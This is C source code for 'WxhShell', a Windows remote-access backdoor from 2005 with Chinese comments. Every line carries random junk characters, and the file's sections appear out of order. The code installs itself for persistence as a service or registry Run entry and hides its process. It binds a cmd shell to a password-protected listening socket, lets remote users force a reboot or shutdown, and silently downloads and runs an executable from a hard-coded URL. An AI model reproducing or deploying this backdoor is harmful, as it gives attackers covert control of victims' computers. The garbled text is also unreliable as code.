  // 关机 `zQ2 i}Uju  
  case 'd': { TQXp9juK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W{pyU \  
    if(Boot(SHUTDOWN)) +;Yd<~!c Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i98>=y~  
    else { zcF`Z {&+  
    closesocket(wsh); 6[r-8_  
    ExitThread(0); x+?P/Ckg  
    } Mf 7 Z5  
    break; ={HYwP;  
    } nnP] x [  
  // 获取shell ^[]q/v'3m!  
  case 's': { `:=af[n   
    CmdShell(wsh); )Sz2D[@n  
    closesocket(wsh); ${(c `X  
    ExitThread(0); r]GG9si  
    break; ]r]=Q"/5  
  } 2vb{PQ  
  // 退出 >_R,^iH"  
  case 'x': { ^T(v4'7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :Q~Rb<']{x  
    CloseIt(wsh); }vp pn=[Y  
    break; ii< /!B(  
    } PVK. %y9  
  // 离开 BU3VXnqT[  
  case 'q': { $K_G|Wyi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3>Ne_kY  
    closesocket(wsh); h'Gs$o7#P  
    WSACleanup(); Z/ Vb_  
    exit(1); F 7v 1rf]  
    break; oP[R?zN  
        } 2u B66i  
  } \J]qd4tF  
  } }"QV{W  
m%?+;V  
  // 提示信息 `>kHJI4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4&)4hF  
} hv]}b'M$  
  } orT%lHwjL  
V_1'` F  
  return; zO@7V>2  
} .ty^k@J|]  
U};~ff+  
// shell模块句柄 "Uk "  
int CmdShell(SOCKET sock) /'yi!:FZFC  
{ Iu3*`H  
STARTUPINFO si; F<W`zQ46  
ZeroMemory(&si,sizeof(si)); :6N'%LKK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h'QEwW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y<r@zb9  
PROCESS_INFORMATION ProcessInfo; ")gd)_FOS  
char cmdline[]="cmd"; GjHV|)^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qp]-:b  
  return 0; -W6r.E$mC  
} EWU(Al T  
oU\Q|mN(  
// 自身启动模式 y2_^lW%  
int StartFromService(void) :)~idVlV  
{ ,_G((oS40  
typedef struct oBBL7/L  
{ f@G3,u!]i  
  DWORD ExitStatus; <'Ppu  
  DWORD PebBaseAddress; :J 7p=sX  
  DWORD AffinityMask; ?PpGBm2f*  
  DWORD BasePriority; Kuj*U'ed7t  
  ULONG UniqueProcessId; $qvk9 B0E  
  ULONG InheritedFromUniqueProcessId; CrTGC%w{=  
}   PROCESS_BASIC_INFORMATION; 1u%e7  
TB oN8cB}  
PROCNTQSIP NtQueryInformationProcess; o?9k{  
equ|v~@ y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r[u@ [  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nt>wzPd)  
sKIpL(_I$  
  HANDLE             hProcess; 7KB:wsz^  
  PROCESS_BASIC_INFORMATION pbi; -5&|"YYjr{  
{9/ayG[98  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U\<8}+x  
  if(NULL == hInst ) return 0; &EZq%Sd  
W7sx/O9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b*AL,n?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  q#=}T~4j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T+$Af,~  
|afzW=8'  
  if (!NtQueryInformationProcess) return 0; }@ +{;"  
<`rl[C{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xs'vd:l.Pp  
  if(!hProcess) return 0; h 8ND=(  
MDyPwv\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4mqA*c%6S  
ljS~>&  
  CloseHandle(hProcess); o<J_?7c~}  
|= xK-;qs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g_T[m*  
if(hProcess==NULL) return 0; *.+Eg$'~V  
t%B ,ATW  
HMODULE hMod; yv2&K=rZp  
char procName[255]; [6$n  
unsigned long cbNeeded; t9Sog~:'  
f{[] m(X;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F74^HQ*J  
Wej'AR\NX  
  CloseHandle(hProcess); wM2[i  
GadZ!_.f  
if(strstr(procName,"services")) return 1; // 以服务启动 xe=/T# %  
Lwy9QZL  
  return 0; // 注册表启动 '`+GC9VG  
} xUKn  
nc0!ag  
// 主模块 A3;}C+K  
int StartWxhshell(LPSTR lpCmdLine) jTDaW8@L  
{ 0Ud.u  
  SOCKET wsl; 2#^@awJ ?  
BOOL val=TRUE; )`*=P}D  
  int port=0; ['G@`e*\  
  struct sockaddr_in door;  hxedQvW  
l9zkx'xt.-  
  if(wscfg.ws_autoins) Install(); 9:]w|lE:D  
oX;D|8 f  
port=atoi(lpCmdLine); App9um3:  
Kgb 3>r  
if(port<=0) port=wscfg.ws_port; e*zt;SR  
|k3^ eeLk  
  WSADATA data; `<3/k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @77%15_Jz  
IPIas$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [VsTyqV a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  4dd]Ju  
  door.sin_family = AF_INET; t:SME'~.P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &' 0|U{|  
  door.sin_port = htons(port); d/m.VnW  
IwR/4LYI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /c>@^  
closesocket(wsl); =Eh~ wm  
return 1; sNF[-,a  
} ;(Xig$k  
3fb"1z#  
  if(listen(wsl,2) == INVALID_SOCKET) { sK&[sN33  
closesocket(wsl); u=U. +\f5  
return 1; o\ M  
} K).Gj2 $  
  Wxhshell(wsl); LzS)WjEN  
  WSACleanup(); yLDv/r  
_>k&,p]y  
return 0; Lwzk<+>w^  
5V{> 82  
} $z"1&y)  
gXQ s)Eyv  
// 以NT服务方式启动 ??7c9l5,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8vuA`T!~G  
{ H/v|H}d;  
DWORD   status = 0; BbV@ziL  
  DWORD   specificError = 0xfffffff; d7*fP S  
\MY`R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q.$|TbVfds  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v'vYN h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VY@6!9G  
  serviceStatus.dwWin32ExitCode     = 0; l?UFe$9(  
  serviceStatus.dwServiceSpecificExitCode = 0; y>5??q  
  serviceStatus.dwCheckPoint       = 0; {tN?)~ZQ  
  serviceStatus.dwWaitHint       = 0; WqHsf1? N  
%+{[%?xh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N1vPY]8  
  if (hServiceStatusHandle==0) return; }%@q; "9`  
8}^R jMgI  
status = GetLastError(); ):c)$$dn  
  if (status!=NO_ERROR) !=Hu?F p  
{ e[:i`J2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V=?qU&r<+  
    serviceStatus.dwCheckPoint       = 0; k v>rv37u  
    serviceStatus.dwWaitHint       = 0; CBVL/pxy  
    serviceStatus.dwWin32ExitCode     = status; #ox &=MY  
    serviceStatus.dwServiceSpecificExitCode = specificError; <uYeev%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kw gsf5[  
    return; 0?{Y6:d+  
  } qSg=[7XOO  
k,kr7'Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EJz?GM  
  serviceStatus.dwCheckPoint       = 0; T|L_ +(M{  
  serviceStatus.dwWaitHint       = 0; DMcH, _(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k-zkb2  
} q9^6A90  
C;EC4n+s  
// 处理NT服务事件,比如:启动、停止 $ncJc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ptlcG9d-  
{ s[}4Q|s%  
switch(fdwControl) .EXe3!J)!  
{ :|V`QM  
case SERVICE_CONTROL_STOP: 0|^/e -^  
  serviceStatus.dwWin32ExitCode = 0; NO%x 2dx0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3`mM0,fY  
  serviceStatus.dwCheckPoint   = 0; ]((Ix,ggP  
  serviceStatus.dwWaitHint     = 0; _Z>I"m  
  { {j!jm5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?e. Ge0&  
  } O #  
  return; _>LI[yf{  
case SERVICE_CONTROL_PAUSE: V(5=-8k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |RA|nu   
  break; &-h z&/A,  
case SERVICE_CONTROL_CONTINUE: >B~vE2^tQ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?: XY3!{  
  break; A@o:mZ+XN(  
case SERVICE_CONTROL_INTERROGATE: 8=Z]?D=  
  break; 6M/*]jLq4  
}; '20SoVp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F70_N($i  
} wyVQV8+&>  
A;'*>NS  
// 标准应用程序主函数 'ZUB:R@[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "{lw;AA5F  
{ 3%NbT  
H ({Y  
// 获取操作系统版本 z/Kjz$l!  
OsIsNt=GetOsVer(); L4x08 e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3SMb#ce*o  
itpljh  
  // 从命令行安装 A{QXzoWkg0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]5_6m;g  
%_>+K;<  
  // 下载执行文件 S Y7'S#  
if(wscfg.ws_downexe) { l"ZfgJ}W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _Dv<  
  WinExec(wscfg.ws_filenam,SW_HIDE); dm+}nQI \  
} @#?w>38y  
5'mpd  
if(!OsIsNt) { 1vG]-T3VC  
// 如果时win9x,隐藏进程并且设置为注册表启动 =/6rX"\P  
HideProc(); nbhzLUK  
StartWxhshell(lpCmdLine); n1mqe*Mvs/  
} ?;c&5'7ct  
else <8SRt-Cr  
  if(StartFromService()) D |lm,  
  // 以服务方式启动 S7A[HG;  
  StartServiceCtrlDispatcher(DispatchTable); .bT+#x  
else YM(` E9{h  
  // 普通方式启动 { yvKUTq`  
  StartWxhshell(lpCmdLine); -2\%?A6L  
j0]|$p  
return 0; `O'@TrI  
} `n{yls7.  
G=Qslrtg  
i]L4kh5  
>e4w8Svcy  
=========================================== >@T(^=Q  
[:MpOl-KIz  
|9D;2N(&!  
<jnra4>  
+1] xmnts  
~nSGN%  
" !6 k{]v  
uINm>$G,5  
#include <stdio.h> } XJZw|n  
#include <string.h> tK$x=9M  
#include <windows.h> G.}Ex!8R7_  
#include <winsock2.h> POouO/r$  
#include <winsvc.h> @NY$.K#]  
#include <urlmon.h> S[_Hc$7U  
o YZmz  
#pragma comment (lib, "Ws2_32.lib") 02EbmP  
#pragma comment (lib, "urlmon.lib") .).*6{_  
~5f|L(ODX  
#define MAX_USER   100 // 最大客户端连接数 5X'com?T  
#define BUF_SOCK   200 // sock buffer 2qY+-yOEt  
#define KEY_BUFF   255 // 输入 buffer X`QfOs#\  
 B3Yj  
#define REBOOT     0   // 重启 o3mxtE]  
#define SHUTDOWN   1   // 关机 )%}?p2.  
Q%AD6G(7  
#define DEF_PORT   5000 // 监听端口 gkN|3^  
];|;")#=  
#define REG_LEN     16   // 注册表键长度 BU|bo")  
#define SVC_LEN     80   // NT服务名长度 `T;M=S^y*E  
NVFgRJ&  
// 从dll定义API <XfCQq/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4*<27  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A^a9,T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1Xv- e8M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /^ d!$v  
jq4{UW'  
// wxhshell配置信息 ;zbF~5e  
struct WSCFG { 9bDxml1  
  int ws_port;         // 监听端口 'yWv @)  
  char ws_passstr[REG_LEN]; // 口令 N8Mq0Ck{$  
  int ws_autoins;       // 安装标记, 1=yes 0=no +QqEUf<U*,  
  char ws_regname[REG_LEN]; // 注册表键名 ]('isq,P  
  char ws_svcname[REG_LEN]; // 服务名 |c]Y1WwDx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /y \KLa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !7:~"kk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pFu3FUO*;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mxpncM=q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZA;wv+hF=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )I`6XG  
<.d0GD`^  
}; mh4NZ @;  
#hBDOXHPf  
// default Wxhshell configuration qP"<vZ  
struct WSCFG wscfg={DEF_PORT, *+E9@r=HF  
    "xuhuanlingzhe", D\:~G}M  
    1, y3 {om^ f  
    "Wxhshell", quB .A7~^=  
    "Wxhshell", CVi3nS5Yl  
            "WxhShell Service", ;tR,w   
    "Wrsky Windows CmdShell Service", pGy]t  
    "Please Input Your Password: ", }v[$uT-q  
  1, (> v1)*r  
  "http://www.wrsky.com/wxhshell.exe", 8: KlU(J  
  "Wxhshell.exe" V0]6F  
    };   0%  
[-@Lbu-|  
// 消息定义模块 FafOd9>AO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A@@Z?t.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hm?zMyO.k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j HOE%  
char *msg_ws_ext="\n\rExit."; Q6cF <L`bW  
char *msg_ws_end="\n\rQuit."; #_tixg  
char *msg_ws_boot="\n\rReboot..."; 2<aBUGA  
char *msg_ws_poff="\n\rShutdown..."; pvJsSX  
char *msg_ws_down="\n\rSave to "; )ow|n^D($M  
T/%s7!E  
char *msg_ws_err="\n\rErr!"; \h%/Cp+p  
char *msg_ws_ok="\n\rOK!"; x)h p3&L  
x. 7Ln9  
char ExeFile[MAX_PATH]; Y%UfwbX!g  
int nUser = 0; _fH.#C  
HANDLE handles[MAX_USER]; .1yp}&e#  
int OsIsNt; %2<G3]6^U  
5]WpH0kzO  
SERVICE_STATUS       serviceStatus; * Yr)>;^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g`jO  
,$,6%"'"  
// 函数声明 29?{QJb  
int Install(void); /x6,"M[97  
int Uninstall(void); m CFScT  
int DownloadFile(char *sURL, SOCKET wsh); zY<=r.m4  
int Boot(int flag); uvK1gJrA)  
void HideProc(void); R}Ih~zw  
int GetOsVer(void); :N~1fvx  
int Wxhshell(SOCKET wsl); ;a/Gs^W  
void TalkWithClient(void *cs); :[iWl8  
int CmdShell(SOCKET sock); `0tzQ>ZQq  
int StartFromService(void); TR8<=  
int StartWxhshell(LPSTR lpCmdLine); {XMF26C#  
/++CwRz@Gm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @)>9l&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m<>3GF,5bP  
2 $^n@<uZ@  
// 数据结构和表定义 s%nx8"   
SERVICE_TABLE_ENTRY DispatchTable[] = 8_MR7'C1hi  
{ ~+{OSx<S  
{wscfg.ws_svcname, NTServiceMain}, 7m6@]S6  
{NULL, NULL} 'AX/?Srd  
}; +$:bzo_u  
CT@JNG$<"  
// 自我安装 .kSx>3  
int Install(void) @N`) Z3P+  
{ Kr!(<i  
  char svExeFile[MAX_PATH]; 0xVue[ep  
  HKEY key; s[ |sfqB1`  
  strcpy(svExeFile,ExeFile); 1&~u:RUXe  
#Sj:U1x  
// 如果是win9x系统,修改注册表设为自启动 ( w(GJ/g  
if(!OsIsNt) { O|J`M2r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1!"0fZh9U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Al.Itj  
  RegCloseKey(key); uI7 d?s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !HM|~G7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )miY>7K  
  RegCloseKey(key); 9 ve q  
  return 0; H/>86GG  
    } ;E /:_DWPD  
  } k=j--`$8k  
} hPhNDmL#3  
else { =PiDZS^"  
HTK79 +  
// 如果是NT以上系统,安装为系统服务 TY[1jW~{r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P agzp%m  
if (schSCManager!=0) d/G`w{H}y  
{ =j]us?5  
  SC_HANDLE schService = CreateService F#KO!\iA+  
  ( " d3pkY  
  schSCManager, |:SBkM,  
  wscfg.ws_svcname, 1;<J] S$$  
  wscfg.ws_svcdisp, T8 k@DS  
  SERVICE_ALL_ACCESS, u+eA>{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7a Fvj  
  SERVICE_AUTO_START, zhbp"yju7  
  SERVICE_ERROR_NORMAL, 9 WsPBzi"T  
  svExeFile, XJ~_FiB  
  NULL, `y; s1nL  
  NULL,  H  
  NULL, 5n,?>> p$  
  NULL, E.]sX_X?  
  NULL 7pDov@K<{  
  ); h V@C|*A  
  if (schService!=0) <JE-#i  
  { TIbqUR  
  CloseServiceHandle(schService); 77- Jx`C  
  CloseServiceHandle(schSCManager); [L 0`B9TD~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c Q~}qE>I  
  strcat(svExeFile,wscfg.ws_svcname); f?T6Ne'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [$_d|Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D;.O#bS  
  RegCloseKey(key); nj99!"_   
  return 0; GUJ[2/V~A  
    } sZ #Ck"n  
  } *joy%F  
  CloseServiceHandle(schSCManager); uBI?nv,  
} A-e#&pJ  
} 2mAXBqdm  
8munw  
return 1; 6k"'3AKaR  
} keNPlK%>  
mHjds77e  
// 自我卸载 pIdJ+gu(s  
int Uninstall(void) |[n-H;0  
{ ^'Wkb7L  
  HKEY key; n<6p0w  
!>T.*8  
if(!OsIsNt) { fyIL/7hzf4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xxcv 5.ug  
  RegDeleteValue(key,wscfg.ws_regname); ,@ A1eX}  
  RegCloseKey(key); sXp>4MomV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ri&B%AAc  
  RegDeleteValue(key,wscfg.ws_regname); 2bBTd@m4  
  RegCloseKey(key); ;o]'7qGb  
  return 0; :IDD(<^9  
  } ; mF-y,E  
} dxbP'2~  
} *(@(9]B~  
else { hM^#X,7  
cUssF%ud]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \D(6t!Ox  
if (schSCManager!=0) 9,=3D2x&  
{ Y<M,/Y_ !  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qy=4zOOD#  
  if (schService!=0) hD!W&Er  
  { WUx}+3eWv  
  if(DeleteService(schService)!=0) { rH7|r\]r  
  CloseServiceHandle(schService); ~Emeo&X  
  CloseServiceHandle(schSCManager); 3eQ-P8LS  
  return 0; dABmK;  
  } sh(G{Yz@  
  CloseServiceHandle(schService); #?.Yc%5B  
  } yS0YWqv]6@  
  CloseServiceHandle(schSCManager); @mBZu!,  
} N*w/\|  
} kFmd):U!R  
%7 h _D  
return 1; 4VINu9\V  
} mw)KyU#l,:  
F2!C^r,~L  
// 从指定url下载文件 !K^.r_0H.  
int DownloadFile(char *sURL, SOCKET wsh) v 0mc1g+9  
{ &3l g\&"  
  HRESULT hr; _2+}_ >d  
char seps[]= "/"; & .VciSq6  
char *token; o5KpiibFM  
char *file; XL>v$7`#  
char myURL[MAX_PATH]; x'_I{$C &  
char myFILE[MAX_PATH]; %[0V>  
WCT}OiLsL  
strcpy(myURL,sURL); /n;-f%dL  
  token=strtok(myURL,seps); Lbk?( TL  
  while(token!=NULL) 3a #2 }  
  { rlr)n\R#  
    file=token; Xwy0dXko  
  token=strtok(NULL,seps); =4cK9ac  
  } 4hdxqI!y2  
T!e ]=  
GetCurrentDirectory(MAX_PATH,myFILE); )$K )`uqb  
strcat(myFILE, "\\"); =?>f[J5  
strcat(myFILE, file);  f.acH]p  
  send(wsh,myFILE,strlen(myFILE),0); braHWC'VYg  
send(wsh,"...",3,0); aOHf#!/"sb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d:*,HzG  
  if(hr==S_OK) ^lhV\YxJ  
return 0; i:W.,w%8  
else [2I1W1pd  
return 1; Xh"JyDTj3  
NfizX!w&  
} XB*)d 9'8  
|?{3&'`J8w  
// 系统电源模块 IiTV*azVh  
int Boot(int flag) >aXyi3B  
{ dC8 $Ql^<  
  HANDLE hToken; "!()yjy  
  TOKEN_PRIVILEGES tkp; =Tv|kJ| j  
?t++IEoP  
  if(OsIsNt) { D@ut -J(.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eS(\E0%QI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h^R EBPe  
    tkp.PrivilegeCount = 1; zu}oeAQc$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _<pSCR0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^6j: lL  
if(flag==REBOOT) { S0( ).2#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m` ^o<V&  
  return 0; (UWWULV  
} 8&?Kg>M  
else { | Qo`K%8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :N$^x /{  
  return 0; DXu915  
} FrBoE#  
  } 6lw)L  
  else { Q qGf*  
if(flag==REBOOT) { .%;`: dtj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1y@d`k`t:  
  return 0; pEgQ) 9\  
} -d]-R ?mQ  
else { 3D L7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [4 L[.N@  
  return 0; S}6Ty2.\  
} :YaEMQJ^  
} .CGPG,\2  
G"P@AOw  
return 1; ggQ/_F8u  
} Vg'vL[Y  
u6^cLQO+  
// win9x进程隐藏模块 jp=z ^l  
void HideProc(void) F]]1>w*/0  
{ xUl=N   
&#!5I;3EN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EH{m~x[Ei  
  if ( hKernel != NULL ) ~L\KMB/9e=  
  { #M kXio; h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -X+G_rY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %(lr.9.]H  
    FreeLibrary(hKernel); Er/h:=  
  } B].V|8h  
iAD'MB  
return; pQv`fr=  
} xgoG>~F  
| 4/'~cYV  
// 获取操作系统版本 !9A6DWAE$  
int GetOsVer(void) ~D# -i >Z  
{ 2;h4$^`dt  
  OSVERSIONINFO winfo; q"){P RTm/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O[%"zO"S  
  GetVersionEx(&winfo); &V/n!|q<H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vbEAd)*S  
  return 1; >h:rYEsh8V  
  else LsaE-l  
  return 0; '5xIisP  
} u5D@,wSNz  
J>_|hg=  
// 客户端句柄模块 OpFe=1Q  
int Wxhshell(SOCKET wsl) 2I'gT$h  
{ S -$ L2N  
  SOCKET wsh; $ 9bIUJ  
  struct sockaddr_in client; %oPW`r  
  DWORD myID; WUOoK$I~K  
A^lJlr:_`  
  while(nUser<MAX_USER) .*FBr7rE\  
{ 8<V6W F`e  
  int nSize=sizeof(client); L#U-d zy\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UuXq+HYR  
  if(wsh==INVALID_SOCKET) return 1; +/xmxh$ $  
l~ 3H"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )~W 35  
if(handles[nUser]==0) ^`M,ju  
  closesocket(wsh); SURbH;[   
else 9*s''=  
  nUser++; u|]{|Ya'%  
  } Z;M}.'BE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fuq MT`  
{qxFRi#\k  
  return 0; WX.6|  
} >]b>gc?3  
sVXIR  
// 关闭 socket ,Dh+-}  
void CloseIt(SOCKET wsh) KX8$j$yW  
{ \Af25Mcf:  
closesocket(wsh); Qm9r>m6p@N  
nUser--; >ZRCM  
ExitThread(0); {#?$ p i[  
} vNdMPulr{  
<'(O0  
// 客户端请求句柄 ~x67v+I  
void TalkWithClient(void *cs) 2;8I0BH*'  
{ Nf@-i`  
dKk\"6 o  
  SOCKET wsh=(SOCKET)cs; *=G~26*!V  
  char pwd[SVC_LEN]; \iN3/J4  
  char cmd[KEY_BUFF]; ? 2#tIND  
char chr[1]; X8(H#Ef[  
int i,j; aTi2=HL=S  
kdmmfw  
  while (nUser < MAX_USER) { :Q\Es:y  
YoC{ t&rY  
if(wscfg.ws_passstr) { Oe#*-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qH 1k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .kbo]P  
  //ZeroMemory(pwd,KEY_BUFF); Z\1*g k  
      i=0; 6Bv!t2  
  while(i<SVC_LEN) { lI,lR  
Q4~/Tl;  
  // 设置超时 [Eq7!_ 3  
  fd_set FdRead; |A .U~P):  
  struct timeval TimeOut; {TmrWFo  
  FD_ZERO(&FdRead); 4c})LAwd&  
  FD_SET(wsh,&FdRead); *:r6E  
  TimeOut.tv_sec=8; ?WVp,vP  
  TimeOut.tv_usec=0; LUPh!)8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _ aJo7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QmHj=s:x\  
V1yY>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yM_ta '^$  
  pwd=chr[0]; Kivr)cIG  
  if(chr[0]==0xd || chr[0]==0xa) { %#AM }MWIa  
  pwd=0; _1>Xk_  
  break; adCTo  
  } "c+j2f'f  
  i++; jRn5)u  
    } ~ShoU m[  
)Z/L  
  // 如果是非法用户,关闭 socket hq[:U?!Tt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k U75  
} rnOg;|u8  
ejF GeR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NE~R&ym9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HQ187IwpTm  
n0\k(@+k  
while(1) { >]ghme  
A'zXbp:%  
  ZeroMemory(cmd,KEY_BUFF); ?'xwr )v  
(u_?#PjX  
      // 自动支持客户端 telnet标准   4+tKg*|  
  j=0; HpXQ D;  
  while(j<KEY_BUFF) { 9~rrN60Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uT Z#85L `  
  cmd[j]=chr[0]; _VjfjA<c8  
  if(chr[0]==0xa || chr[0]==0xd) { *A^`[_y  
  cmd[j]=0; T'W@fif  
  break; W5)R{w0`GD  
  } vk1E!T9X  
  j++; B@+&?%ub:  
    } /r8'stRzv  
og?>Q i Tr  
  // 下载文件 -22]|$f  
  if(strstr(cmd,"http://")) { eb#yCDIC   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L2 ybL#dz  
  if(DownloadFile(cmd,wsh)) nO\c4#ce  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\lRP,-  
  else mJ #|~I*Z-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  /# FU"  
  } HL`=zB%  
